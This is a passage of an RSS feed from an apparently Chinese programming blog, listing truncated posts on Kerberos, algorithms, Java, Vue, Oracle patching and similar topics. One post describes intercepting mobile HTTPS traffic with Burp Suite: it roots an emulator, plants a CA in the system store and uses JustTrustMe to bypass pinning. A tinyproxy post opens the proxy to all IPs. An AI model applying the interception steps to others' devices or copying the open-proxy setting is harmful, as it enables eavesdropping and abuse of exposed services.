Kerberos协议相关角色相关的概念：&#xA;Principal：安全个体，具有唯一命名的客户端或服务器。命名规则：主名称+实例+领域，如sherlocky/admin@EXAMPLE.COM SS：特定服务的提供端（Service Server），即上述角色分类中的ServerKDC：Key Distribution Center，密钥分发中心由AS和TGS组成 AS：Authentication Server，认证服务器，KDC的一部分。通常会维护一个包含安全个体及其秘钥的数据库，用于身份认证TGS：Ticket Granting Server，许可证服务器，KDC的一部分，根据客户端传来的TGT发放访问对应服务的票据 密钥和票据相关的概念：&#xA;Session key：会话密钥，指两个安全个体之间使用的临时加密秘钥，其时效性取决于单点登录的会话时间长短Ticket：票据，一条包含客户端标识信息、会话密钥和时间戳的记录，客户端用它来向目标服务器认证自己TGT：Ticket Granting Ticket，票据授予票据，包含客户端ID、客户端网络地址、票据有效期以及client/TGS会话密钥Client本地密钥：用户输入的密码，或者keytab文件中的密码。所有使用用户密钥加密的操作，都是将用户密钥hash后再使用的。 TGT和Ticket的关系：TGT类似于护照，Ticket则是签证，TGT可标识你的身份并允许你获得多个Ticket（签证），每个Ticket对应一个特定的服务，TGT和Ticket同样具有有效期，过期后就需要重新认证。&#xA;4、认证过程 Kerberos的认证过程可细分为三个阶段：&#xA;初始验证：客户端向KDC中的AS发送用户信息，以请求TGT获取服务票据：客户端拿着之前获得的TGT向KDC中的TGS请求访问某个服务的票据服务验证。客户端拿到票据（Ticket）后再到该服务的提供端验证身份，然后使用建立的加密通道与服务通信。 4.1 初始验证 初始验证的主要目的是客户端向AS请求TGT。&#xA;客户端向AS发送鉴权消息Authenticator1，该动作通常发生在用户初次登陆或使用kinit命令时。 Authenticator1的主要内容：用Client本地密钥hash后加密的时间戳、Client ID、网络地址、加密类型等信息（只有时间戳加密！！！）AS检查本地数据库是否存在该用户，若存在则返回如下两条信息。这一步AS会验证 SessionKey-as：AS生成的会话密钥，用于Client和TGS之间通信。SessionKey-as是用用户密钥加密过的，用户密钥存储在AS本地数据库中的。这个信息可以验证Client是否可信，只有可信的Client才能获取到用户密钥解密出SessionKey-as。票据TGT：TGT中包含客户端ID、客户端网络地址、票据有效期和SessionKey-as，并使用TGS的密钥加密。Timestamp：时间戳不加密，这是client在上一步发给AS的时间戳。当客户端上述两条消息，它会： 对于加密的SessionKey-as，客户端会用本地密钥进行解密，拿到SessionKey-as，用来和TGS进行后续的会话。这里就相当于AS对客户端的一次验证，只有真正拥有正确用户密钥的客户端才能有机会与AS进行后续会话。对于加密的TGT，由于是用TGS的密钥加密的，故Client无法对其解密；对于Timestamp：Client会对时间戳进行验证，即和自己发送的时间戳做对比，如果一样，说明AS可以解密出自己密钥加密的信息，是可信的。 需要注意的是，TGT是给TGS看的，Client只用来透传，是看不到TGT的具体内容的。</description>
    </item>
    <item>
      <title>Java通过反射获取Method方法</title>
      <link>https://bchobby.github.io/posts/5b86239d68b7ecb4ee57ea88d0ad855e/</link>
      <pubDate>Wed, 07 Apr 2021 13:47:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b86239d68b7ecb4ee57ea88d0ad855e/</guid>
      <description>1. 创建GFather祖先类，Father父类并且继承GFather类，Son子类并且继承父类。&#xA;package reflection.commen; public class GFather { public int g_age = 1; public String g_name = &#34;爷爷&#34;; public GFather(){ } public GFather(int age, String name) { this.g_age = age; this.g_name = name; } public int getG_age() { return g_age; } private void setG_age(int g_age) { this.g_age = g_age; } } package reflection.commen; public class Father extends GFather { private int f_age; public String f_name; public Father(){ } public Father(int father_age, String father_name) { super(); this.</description>
    </item>
    <item>
      <title>leetcode3. 无重复字符的最长子串</title>
      <link>https://bchobby.github.io/posts/fc6397c04201d8d654cf4ac81f757952/</link>
      <pubDate>Tue, 06 Apr 2021 23:17:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc6397c04201d8d654cf4ac81f757952/</guid>
      <description>给定一个字符串，请你找出其中不含有重复字符的 最长子串 的长度。&#xA;示例 1:&#xA;输入: s = “abcabcbb”&#xA;输出: 3&#xA;解释: 因为无重复字符的最长子串是 “abc”，所以其长度为 3。&#xA;示例 2:&#xA;输入: s = “bbbbb”&#xA;输出: 1&#xA;解释: 因为无重复字符的最长子串是 “b”，所以其长度为 1。&#xA;示例 3:&#xA;输入: s = “pwwkew”&#xA;输出: 3&#xA;解释: 因为无重复字符的最长子串是 “wke”，所以其长度为 3。&#xA;请注意，你的答案必须是 子串 的长度，“pwke” 是一个子序列，不是子串。&#xA;示例 4:&#xA;输入: s = “”&#xA;输出: 0&#xA;提示：&#xA;0 &amp;lt;= s.length &amp;lt;= 5 * 104&#xA;s 由英文字母、数字、符号和空格组成&#xA;来源：力扣（LeetCode）&#xA;链接：https://leetcode-cn.com/problems/longest-substring-without-repeating-characters&#xA;著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。&#xA;class Solution { public int lengthOfLongestSubstring(String s) { if (s == null) { return 0; } int result = 0; String temp = &#34;</description>
    </item>
    <item>
      <title>leetcode215. 数组中的第K个最大元素</title>
      <link>https://bchobby.github.io/posts/50d289c1dfe558eda1ac9fdc41850390/</link>
      <pubDate>Tue, 06 Apr 2021 21:52:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50d289c1dfe558eda1ac9fdc41850390/</guid>
      <description>在未排序的数组中找到第 k 个最大的元素。请注意，你需要找的是数组排序后的第 k 个最大的元素，而不是第 k 个不同的元素。&#xA;示例 1:&#xA;输入: [3,2,1,5,6,4] 和 k = 2&#xA;输出: 5&#xA;示例 2:&#xA;输入: [3,2,3,1,2,4,5,5,6] 和 k = 4&#xA;输出: 4&#xA;说明:&#xA;你可以假设 k 总是有效的，且 1 ≤ k ≤ 数组的长度。&#xA;来源：力扣（LeetCode）&#xA;链接：https://leetcode-cn.com/problems/kth-largest-element-in-an-array&#xA;class Solution { public int findKthLargest(int[] nums, int k) { PriorityQueue&amp;lt;Integer&amp;gt; priorityQueue = new PriorityQueue&amp;lt;Integer&amp;gt;(k*2); for (int i:nums) { priorityQueue.add(i); if (priorityQueue.size() &amp;gt; k) { priorityQueue.poll(); } } Integer result = priorityQueue.</description>
    </item>
    <item>
      <title>vue中watch的deep属性深度监听数组对象</title>
      <link>https://bchobby.github.io/posts/d61961fedaa5991eebc17af80bb9a1fe/</link>
      <pubDate>Tue, 06 Apr 2021 15:13:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d61961fedaa5991eebc17af80bb9a1fe/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;div id=&#34;app&#34;&amp;gt; &amp;lt;ul&amp;gt; &amp;lt;li v-for=&#34;item in list&#34; :v-key=&#34;item.id&#34;&amp;gt;{{item.name}}&amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;div&amp;gt; &amp;lt;input type=&#34;text&#34; v-model=&#34;value&#34; /&amp;gt; &amp;lt;button @click=&#34;add()&#34;&amp;gt;添加&amp;lt;/button&amp;gt; &amp;lt;button @click=&#34;change()&#34;&amp;gt;改变&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#39;App&#39;, components: {}, data() { return { list: [{ id: 1, name: &#39;张三&#39; }, { id: 2, name: &#39;李四&#39;, ceshi:0, list:[ { a:0 } ] } ], value: &#39;45&#39; } }, created() { }, mounted() { }, watch: { list: { handler(newName, oldName) { console.</description>
    </item>
    <item>
      <title>数据库——底层原理</title>
      <link>https://bchobby.github.io/posts/d2012a6d6670c94bc7eae9743464718b/</link>
      <pubDate>Mon, 05 Apr 2021 23:51:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2012a6d6670c94bc7eae9743464718b/</guid>
      <description> 数据库 1.底层数据结构 B树是树的衍生，所以我打算从树开始讲起。&#xA;树我们都不陌生，有一个根节点，从根结点出发有他的孩子节点。但是简单的一棵树并没有什么特点，可能很难被实际应用。&#xA;之后出现了二叉树，这种树的每个节点最多只有两个孩子，这样一来，通过二叉树来实现二叉查找很大的提高了查找的速度。但是又有一个新问题出现了，除非二叉树被事先给出，否则二叉树可能会退化为链表。&#xA;再后来，为了解决退化问题，平衡二叉树被设计了出来，能够自动的根据树的高度来调节结点，使树上的节点分布均匀。再后来，不止对平衡二叉树进行查询操作，增加和删除结点效率的要求也提高了，因为如果要进行删除和增加节点，就需要维护这个二叉树保持原来的特点。&#xA;最后，为了解决增加和删除结点的效率，红黑树又出现了，在查询效率上，二者可能差不多，但是在修改结点的效率上，存在很大的差异。&#xA;（转载）红黑树和平衡二叉树的区别&#xA;随着大数据时代的到来，动辄就是千百万的数据量，使用二叉树来组织数据根本行不通，因为根据满二叉树的计算n = Log(2,N)，查询时间还是不理想。&#xA;B树 关于B树的特点都已经展示在图中。为了降低二叉树的层数，在B书中，每个“结点”不止存放一个数据，目的就是为了增大每个结点所能容纳的数据量，降低树的层数。&#xA;（关于B树的严格定义请自行百度）&#xA;每层包括N个实体结点和N+1个指针结点每层结点都按照结点的Key值非递减的顺序排列在Key值之间存在一个指针指向下一层结点，其中的Key值自然也是处于上层两个Key值之间每个结点都直接带有自己的Data对应每条记录都遍布在整个树中 B+树 B+树很大程度上是为了满足范围查找的需要，所以用双链表将所有的叶子结点都串起来；而且根据在磁盘I/O上所花的时间，要尽可能的减少磁盘I/O（每层的一个大结点通常被安排在一块物理内存上），所以会将所有的实体记录放在叶子节点上，非叶节点只存放键Key，不存放Data，这样一层的大结点能够存放更多的结点Key值，从而相应的减少磁盘I/O提高性能。&#xA;（关于B+树的严格定义请自行百度）&#xA;真实结点只放在叶子节点上，非叶节点只存放Key值用双链表将叶子节点串联（这里还推荐使用Mysql中的自增主键，因为在随机插入时，难免会引起当前节点已经放满，再放时会出现分裂的操作，而按顺序递增的插入只会再最右边插入结点，并不会有分裂操作，效率较高） 2.Mysql数据库引擎 Innodb：Data数据直接存在于索引的叶节点中，支持事务，聚簇索引（数据和索引放一起，默认是主键完成，再次唯一非空索引，隐式索引，均称为辅助索引），不支持全文索引，最小粒度行锁&#xA;MyIsam：叶节点中只存放了Data的指针，不支持事务，非聚簇索引（数据和索引不放一起，存放地址），支持全文索引，最小粒度表锁&#xA;3.最左前缀优化原则 在生成索引时，如果是联合索引，则将会根据联合索引声明的顺序组织B+树的非叶节点，所以在使用Select在索引上查询时，会根据联合索引的顺序对每层节点进行排序，这才需要在使用Select语句时，注意是否使用了索引。&#xA;（未完待续。。。）&#xA;4.覆盖索引 </description>
    </item>
    <item>
      <title>shell脚本读取文件的三种方法</title>
      <link>https://bchobby.github.io/posts/791e119de88cf3640f612a8a0ec8511c/</link>
      <pubDate>Mon, 05 Apr 2021 23:22:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/791e119de88cf3640f612a8a0ec8511c/</guid>
      <description>最近做小项目需要用到shell脚本写测试用例， 所以首先要知道shell该怎么读取文件， 为了以后能更容易复习，就把它记录了下来。 第一种：&#xA;#！/bin/bash while read line do echo $line done &amp;lt; filename 示例：要读取的文件我这里四test.txt&#xA;首先vi 新建一个文件.sh结尾&#xA;然后照着上面的方法编写脚本&#xA;test.txt里面的内容&#xA;这就是读取结果，./pro.sh就能执行了，在执行之前需要加执行权限&#xA;第二种：&#xA;#!/bin/bash cat filename | while read line do echo $line done 第三种：&#xA;#!/bin/bash for line in `cat filename` do echo $line done 还有一种以文件描述符方式的，但是我没怎么用过就不写了，以上三种就是比较常用的shell读文件的方法</description>
    </item>
    <item>
      <title>Latex的图片、文献、引用跳转链接</title>
      <link>https://bchobby.github.io/posts/9d2aa499903db45273df2071ea83f4df/</link>
      <pubDate>Sun, 04 Apr 2021 16:21:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d2aa499903db45273df2071ea83f4df/</guid>
      <description>使用链接跳转需要使用宏包hyperref&#xA;\usepackage[colorlinks, linkcolor=blue, anchorcolor=blue, citecolor=red ]{hyperref} clolorlink的意思是将超链接以颜色来标识，而并非使用默认的方框来标识。&#xA;linkcolor, anchorcolor, citecolor分别表示标识link, anchor, cite等各种链接的颜色。&#xA;若不想使用彩色，就使用black即可</description>
    </item>
    <item>
      <title>oracle ojvm组件安装,Patch 28790660 - Oracle JavaVM Component 11.2.0.4.190115 Database PSU  在oracle rac环境...</title>
      <link>https://bchobby.github.io/posts/7b4e25c16aedbdca7b4b798d20571280/</link>
      <pubDate>Sun, 04 Apr 2021 07:14:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b4e25c16aedbdca7b4b798d20571280/</guid>
      <description>OJVM补丁说明&#xA;OJVM PSU主要是针对oracle java VM。从2014年10月开始Oracle JavaVM组件作为一个单独的部分来进行安装。之前是包含在oracle rdbms psu中。&#xA;只要oracle db中安装jvm组件，就需要安装对应版本的oracle JavaVM PSU。如果只是打了rdbms的PSU，安全漏洞检查就会检查出jvm的安全漏洞。&#xA;本文对Patch 28790660 升级过程进行说明&#xA;在oracle mos下载p28980134 patch包，包含28790660 ojvm psu包，上传并解压补丁包：&#xA;unzip -d /tmp p28980134_112040_Linux-x86-64.zip&#xA;检查验证补丁&#xA;cd /tmp/28980134/28790660&#xA;[oracle@DB1 28790660]$ /oracle/app/oracle/product/11.2.0/db_1/OPatch/opatch prereq CheckConflictAgainstOHWithDetail -ph ./&#xA;Oracle 中间补丁程序安装程序版本 11.2.0.3.6&#xA;版权所有 (c) 2013, Oracle Corporation。保留所有权利。&#xA;PREREQ session&#xA;Oracle Home : /oracle/app/oracle/product/11.2.0/db_1&#xA;Central Inventory : /oracle/app/oraInventory&#xA;from : /oracle/app/oracle/product/11.2.0/db_1/oraInst.loc&#xA;OPatch version : 11.2.0.3.6&#xA;OUI version : 11.2.0.4.0&#xA;Log file location : /oracle/app/oracle/product/11.2.0/db_1/cfgtoollogs/opatch/opatch2020-03-05_22-24-27下午_1.log&#xA;Invoking prereq &#34;</description>
    </item>
    <item>
      <title>burp Suite(四)抓到流量才是好汉</title>
      <link>https://bchobby.github.io/posts/3113747e678610b24afdc1b18ef695d0/</link>
      <pubDate>Sat, 03 Apr 2021 20:46:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3113747e678610b24afdc1b18ef695d0/</guid>
      <description>一、浏览器抓包设置 firefox and chrome&#xA;见安全测试必备工具之burp Suite（一）&#xA;二、app/miniapp抓包 mumu 安卓模拟器抓包 指路：mumu&#xA;android版本：6.0.1&#xA;逍遥模拟器设置类似逍遥，支持设置android版本&#xA;mumu设置代理&#xA;burp监听同一个IP和端口&#xA;mumu安装证书，通过文件共享的方式导入证书&#xA;打开共享文件夹安装证书&#xA;需要先设置锁屏密码&#xA;随便打开一个app，可以正常拦到https数据包&#xA;安卓7.0以上https抓包 在模拟器或者手机中，部分app/miniapp可正常抓包，但有些不可以。为解决这些不可以的，测试使用其他方式。&#xA;模拟器/设备root 安装系统根证书VirtualXposed 和 JustTrustMe 抓包 实验1 测试对象：某 app、某微信小程序&#xA;测试设备：mumu模拟器，android6.0.1&#xA;测试结果：可直接安装证书抓包&#xA;问题：mumu模拟器安装新版本wx，但是wx小程序不能搜索，只能使用以前用过的。在其他手机上搜索了，再用mumu打开，需要设备切换，略麻烦。&#xA;实验2 测试对象：某 app、某微信小程序&#xA;测试设备：逍遥模拟器&#xA;测试方式：安装系统根证书&#xA;1、先正常安装burp cer格式证书（der重命名一下）&#xA;2、应用市场搜索re文件管理器&#xA;3、re文件管理器 进入：/data/misc/user/0/cacerts-added 这个文件夹下（该目录存储的是用户自己安装的证书文件）复制.0文件到到系统证书目录/etc/security/cacerts 下（re文件管理器需要挂载读写权限、模拟器中自带root管理授权即可）&#xA;4、抓包测试&#xA;测试结果：某 app能正常抓取流量，某小程序抓不到&#xA;根据查找资料猜测：微信7.0版本无法抓取HTTPS数据包。&#xA;所以，得换一个较低版本的微信&#xA;实验3 测试对象：某 app、某微信小程序&#xA;测试设备：逍遥模拟器&#xA;测试方式：安装系统根证书&#xA;1、下载一个微信6.7.3的版本&#xA;2、卸载之前的微信，安装老版本&#xA;测试结果：某小程序可正常抓取流量，但是部分图片加载不出来，勉强能用了。且发现部分小程序不支持在低版本微信上运行，抓包问题没有彻底解决。&#xA;IOS流量抓包 设备：iphone6s（ios没有模拟器）&#xA;1、iphone导入burp证书&#xA;2、打开iphone&#xA;设置-通用–描述文件与设备管理–PortSwiggerCA-安装&#xA;设置-通用–关于本机–证书信任设置–信任 PortSwiggerCA证书&#xA;注意：&#xA;（1）ios支付功能都走苹果内购，苹果不信任burp证书，测不了支付&#xA;（2）有些应用不能抓包&#xA;总结 老折腾了。。。。。。凑合着用吧&#xA;如果burp抓不到包，要先排查问题：</description>
    </item>
    <item>
      <title>C语言-每天认识一个排序算法之希尔排序（二）</title>
      <link>https://bchobby.github.io/posts/e18eb030dc7df118f0291d1bfd7697c8/</link>
      <pubDate>Sat, 03 Apr 2021 17:39:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e18eb030dc7df118f0291d1bfd7697c8/</guid>
      <description>希尔排序 希尔排序又称为“缩小增量排序”，它是对直接插入排序算法的改进。&#xA;希尔排序的基本思想是：先将整个待排记录序列分割成若干子序列，然后分别进行直接插入排序，待整个序列中的记录基本有序时，再进行一次直接插入排序。这是它的基本思想。最后我们所取的增量应为1.&#xA;void ShellSort(int arr[], int n) { int i, j, d; d = n / 2; /*确定固定增量值*/ while (d &amp;gt;= 1) { for (i = d + 1; i &amp;lt;= n; i++) /*数组下标从d+1开始进行直接插入排序*/ { arr[0] = arr[i]; /*设置监视哨*/ j = i - d; /*确定要进行比较的元素的最右边位置*/ while ((j &amp;gt; 0) &amp;amp;&amp;amp; (arr[0] &amp;lt; arr[j])) { arr[j + d] = arr[j]; /*数据右移*/ j = j - d ; /*向左移d个位置V*/ } arr[j + d] = arr[0]; /*在确定的位罝插入arr[i]*/ } d = d / 2; /*增量变为原来的一半*/ } } 因为设置了监视哨，所以传入数组的第一个数要专门留下来给监视哨使用。</description>
    </item>
    <item>
      <title>【Java基础】Java多线程编程：Thread、Runnable与Callable、线程的同步、异步与死锁、生产者与消费者案例</title>
      <link>https://bchobby.github.io/posts/1a5234366462efb8f7c82d2304bdd24a/</link>
      <pubDate>Sat, 03 Apr 2021 15:12:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a5234366462efb8f7c82d2304bdd24a/</guid>
      <description>《第一行代码：Java》第9章、多线程 读书笔记&#xA;文章目录 第9章、多线程9.1 线程与进程9.2 多线程实现继承Thread类实现Runnable接口多线程两种实现方式的区别利用Callable接口实现多线程线程的操作状态 9.3 多线程常用操作线程的命名与取得线程休眠线程优先级 9.4 线程的同步与死锁同步问题的引出同步操作死锁 9.5 生产者与消费者案例问题的引出解决数据错乱问题解决数据重复问题 9.6 线程的生命周期本章小结 第9章、多线程 9.1 线程与进程 这里简单介绍一下线程与进程的基本概念。想深入了解建议学习一下操作系统。&#xA;进程：是程序的一次动态执行的过程，他经历了从代码加载、执行到执行完毕的一个完整过程。&#xA;进程的五状态模型：&#xA;线程：和进程一样都是实现并发的一个基本单位，线程是在进程的基础上进一步的划分。比如在使用QQ同时进行视频对话、文字聊天和文件传输，则QQ这个程序的执行就是一个进程，而这个进程又划分为视频对话、文字聊天和文件传输3个线程。&#xA;进程与线程：线程依附于进程，线程是程序执行流的最小单位，进程是资源分配的基本单位，所以一旦进程消失，线程也会消失。&#xA;并发与并行：两者在宏观上都是同时进行的意思，但并发在微观上并不是“同时”的，而是指多个任务交替使用CPU，同一时刻还是只有一个任务在跑，并行是多个任务同时执行。（对于单核CPU）&#xA;9.2 多线程实现 在Java中，如果想要实现多线程的程序，就必须依靠一个线程的主体类（就好比主类的概念一样，表示的是一个线程的主类）。但这个线程的主体类在定义时也需要有一些特殊的要求，即此类需要继承Thread类或实现Runnable（Callable）接口来完成定义。&#xA;继承Thread类 java.lang.Thread是一个负责线程操作的类，任何类只要继承Thread类就可以成为一个线程的主类。既然是主类就必须要有它的使用方法，而线程启动的主方法需要覆写Thread类中的run()方法实现。&#xA;线程主体类的定义格式如下：&#xA;class 类名称 extends Thread {&#x9;// 继承Thread类 属性;&#x9;// 类中定义属性 方法;&#x9;// 类中定义方法 public void run(){&#x9;// 覆写Thread类中的fun()方法，此方法是线程的主体 线程主体方法; } } 定义一个线程操作类：&#xA;class MyThread extends Thread {&#x9;// 这就是一个多线程的操作类 private String name ;&#x9;// 定义类中的属性 public MyThread(String name) {&#x9;// 定义构造方法 this.</description>
    </item>
    <item>
      <title>＜leetcode＞76最小覆盖字符串（滑动窗口）</title>
      <link>https://bchobby.github.io/posts/19a765b266f57bab47c050a751790d4a/</link>
      <pubDate>Sat, 03 Apr 2021 13:24:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19a765b266f57bab47c050a751790d4a/</guid>
      <description>题目描述&#xA;给定两个字符串 S 和 T，求 S 中包含 T 所有字符的最短连续子字符串的长度，同时要求时间&#xA;复杂度不得超过 O„n”。&#xA;输入输出样例&#xA;输入是两个字符串 S 和 T，输出是一个 S 字符串的子串。&#xA;Input: S = &#34;ADOBECODEBANC&#34;, T = &#34;ABC&#34;&#xA;Output: &#34;BANC&#34;&#xA;在这个样例中， S 中同时包含一个 A、一个 B、一个 C 的最短子字符串是“BANC”。&#xA;题解&#xA;本题使用滑动窗口求解，即两个指针 l 和 r 都是从最左端向最右端移动，且 l 的位置一定在&#xA;r 的左边或重合。注意本题虽然在 for 循环里出现了一个 while 循环，但是因为 while 循环负责移&#xA;动 l 指针，且 l 只会从左到右移动一次，因此总时间复杂度仍然是 O„n”。本题使用了长度为 128&#xA;的数组来映射字符，也可以用哈希表替代；其中 chars 表示目前每个字符缺少的数量， flag 表示&#xA;每个字符是否在 T 中存在。 class Solution { public: string minWindow(string s, string t) { vector&amp;lt;int&amp;gt; chars(128,0); vector&amp;lt;bool&amp;gt; flag(128,false); for(int i = 0;i&amp;lt; t.</description>
    </item>
    <item>
      <title>oracle数据库xdb,jvm和xdb组件 - Oracle数据库管理 -  Oracle数据库数据恢复、性能优化来问问AskMaclean - ParnassusData诗檀软件旗下网站 -  M...</title>
      <link>https://bchobby.github.io/posts/85c24ba5df47bbc71fa30996cc9dde19/</link>
      <pubDate>Sat, 03 Apr 2021 06:11:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85c24ba5df47bbc71fa30996cc9dde19/</guid>
      <description>各主流版本DB software 中组件component 的依赖关系&#xA;Component Dependecies in 10.1&#xA;RDBMS (Oracle Server) is the base component&#xA;Stand alone components (no dependencies):&#xA;JAVAVM, XDB, EM, OLAP, LABEL SECURITY, OWM, RAC&#xA;XML requires JAVAVM&#xA;DATA MINING requires JAVAVM and XDB&#xA;SPATIAL DATA requires DATA MINING, JAVAVM, XDB, XML&#xA;CONTEXT requires DATA MINING&#xA;APEX requires CONTEXT and XDB&#xA;EXPRESSION FILTER requires JAVAVM&#xA;INTERMEDIA/MULTIMEDIA requires JAVAVM, XDB, XML&#xA;ULTRA SEARCH requires JAVAVM&#xA;OALP API (XOQ) requires XML and XDB (and XS)</description>
    </item>
    <item>
      <title>Method breakpoints may dramatically slow down debugging 的解决办法</title>
      <link>https://bchobby.github.io/posts/cb98d6eeda273aad0949d37ca169c5da/</link>
      <pubDate>Fri, 02 Apr 2021 23:24:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb98d6eeda273aad0949d37ca169c5da/</guid>
      <description> 问题概述 在Intellij IDEA 中项目工程模块编码完成后，Debug模式启动，一直启动不起来，也不报任何错误，因为项目工程的持久层使用的是MyBatis-Plus，只启动到MyBatis-Plus项就不往下走了，一直卡在哪儿，提示 “ Method breakpoints may dramatically slow down debugging ”，如下图：&#xA;解决办法 根据提示内容得知，在打开Intellij IDEA的断点视图，单击左栏两个红色实心圆除，或者直接快捷键 “ Ctrl + Shift + F8 ” 打开，如下图：&#xA;打开后，果然发现了一个方法断点，直接点击它，取消掉这个方法断点，就可以了，如下图：&#xA;好了，关于 Method breakpoints may dramatically slow down debugging 的解决办法 就写到这儿了，如果还有什么疑问或遇到什么问题欢迎扫码提问，也可以给我留言哦，我会一一详细的解答的。 歇后语：“ 共同学习，共同进步 ”，也希望大家多多关注CSND的IT社区。&#xA;作 者：华 仔联系作者：who.seek.me@java98k.vip来 源：CSDN (Chinese Software Developer Network)原 文：https://blog.csdn.net/Hello_World_QWP/article/details/115241581版权声明：本文为博主原创文章，请在转载时务必注明博文出处！ </description>
    </item>
    <item>
      <title>JavaScript第五天作业案例</title>
      <link>https://bchobby.github.io/posts/4bf1588fdc0c4027956fe14e625e0e9f/</link>
      <pubDate>Fri, 02 Apr 2021 19:35:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bf1588fdc0c4027956fe14e625e0e9f/</guid>
      <description>JavaScript第五天作业案例 1. 练习1: 使用for循环 - 求出数组元素的和 [5, 8, 9, 2, 1, 5]&#xA;运行结果&#xA;2. 练习2: 使用for循环 - 求出数组里大于5的和 [4, 9, 5, 20, 3, 11]&#xA;运行结果&#xA;练习3: 使用for循环 - 求出班级里同学们平均年龄[15, 19, 21, 33, 18, 24]&#xA;运行结果&#xA;练习4: 打印数组里所有的奇数 [5, 2, 8, 10, 3, 7]&#xA;运行结果&#xA;练习5: 计算[2, 6, 18, 15, 40] 中能被3整除的偶数的和&#xA;运行结果&#xA;练习6: 计算[2, 6, 18, 15, 40] 中能被3整除的偶数的个数&#xA;运行结果&#xA;练习7：给一个数字数组，该数组中有很多数字0，将不为0的数据存入到一个新的数组中&#xA;运行结果&#xA;练习8：点名: 每次刷新网页运行, 在控制台 随机输出一位同学的名字 [“老赵”, “老李”, “小传”, “小黑”]，如果输出了，则数组中删除这个名字</description>
    </item>
    <item>
      <title>linux下安装配置tinyproxy代理服务器</title>
      <link>https://bchobby.github.io/posts/e4f100310247f5ef76a7354fedbc4882/</link>
      <pubDate>Fri, 02 Apr 2021 19:28:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4f100310247f5ef76a7354fedbc4882/</guid>
      <description>1、使用yum或者apt-get安装tinyproxy&#xA;yum install tinyproxy -y 或者 apt-get install tinyproxy&#xA;2、安装后更改配置文件 ：&#xA;vim /etc/tinyproxy/tinyproxy.conf&#xA;修改配置文件中的&#xA;allow 127.0.0.1&#xA;注释掉则允许所有ip访问&#xA;#allow 127.0.0.1&#xA;加入多个ip或者IP段则允许多个ip或IP段访问&#xA;allow 192.168.0.1 allow 10.12.13.1 allow 188.157.12.0/24&#xA;输入 :wq 保存并退出&#xA;3、启动代理服务&#xA;service tinyproxy start 或者使用：/etc/init.d/tinyproxy {start|stop|restart|reload|force-reload} 中的 /etc/init.d/tinyproxy start 或者使用 /bin/systemclt start tinyproxy.service 或者使用 systemctl start tinyproxy.service&#xA;4、其他相关启动命令&#xA;设置开机自动启动：systemctl enable tinyproxy.service 停止服务：systemctl stop tinyproxy.service 启动状态：systemctl status tinyproxy.service 重启服务：systemctl restart tinyproxy.service&#xA;5、查看代理服务启动端口&#xA;netstat -ltnp&#xA;5、配置8888端口开放规则&#xA;iptables -I INPUT -p tcp --dport 8888 -j ACCEPT</description>
    </item>
    <item>
      <title>Eclipse 如何修改默认工作空间和切换工作空间（Workspace）</title>
      <link>https://bchobby.github.io/posts/ffd40b0cd6d7e9fb5fdf53ac75182582/</link>
      <pubDate>Fri, 02 Apr 2021 15:19:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffd40b0cd6d7e9fb5fdf53ac75182582/</guid>
      <description>文章目录 如何关闭/开启 Eclipse Launcher 弹窗提示通过配置文件设置通过 IDE 的偏好设置 如何修改 Eclipse 默认的工作空间和切换工作空间通过配置文件修改通过 Eclipse Launcher 窗口修改通过菜单来切换工作空间 如何关闭/开启 Eclipse Launcher 弹窗提示 通过配置文件设置 eclipse\configuration.settings 目录下，有一个“org.eclipse.ui.ide.prefs”文件，用记事本打开，里面有一个“SHOW_WORKSPACE_SELECTION_DIALOG”，如果你之前有打勾的话后面的值是 false,你把它改成 true 就好了，下次再开就出现那个“Eclipse Launcher”弹窗了。&#xA;说明：&#xA;MAX_RECENT_WORKSPACES=10 显示最近空间的最大数目，对应Eclipse File-&amp;gt;Switch Workspace显示数目的上限&#xA;RECENT_WORKSPACES=E:\Eclipse\eclipse\workspace 设置最近的工作空间，对应Eclipse File-&amp;gt;Switch Workspace显示的空间，使用\n分隔多个工作空间&#xA;RECENT_WORKSPACES_PROTOCOL=3 最近的工作空间协议、草案&#xA;SHOW_RECENT_WORKSPACES=true 是否显示最近工作空间，Eclipse File-&amp;gt;Switch Workspace-&amp;gt;Other&#xA;SHOW_WORKSPACE_SELECTION_DIALOG=true 打开eclipse时显示选择工作空间的窗口&#xA;eclipse.preferences.version=1&#xA;通过 IDE 的偏好设置 然后我们重启 Eclipse，可以看到 Eclipse Launcher 弹窗了。&#xA;如何修改 Eclipse 默认的工作空间和切换工作空间 通过配置文件修改 进行 Eclipse 目录下的 configuration 目录， 打开 config.ini 文件，将 osgi.instance.area.default=修改成你想设置为默认工作空间的目录&#xA;例如：osgi.instance.area.default=E\:/Soft/MyWorkspace&#xA;通过 Eclipse Launcher 窗口修改 如果你没有关闭 Eclipse Launcher 的弹窗提示，每次开启 Eclipse 时都会弹出如下窗口，在窗口中就可以修改默认的工作空间和切换工作空间</description>
    </item>
    <item>
      <title>数据库SQL实战-考试分数(mysql)</title>
      <link>https://bchobby.github.io/posts/156bbf888836df727fc7742e7c79df58/</link>
      <pubDate>Fri, 02 Apr 2021 11:30:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/156bbf888836df727fc7742e7c79df58/</guid>
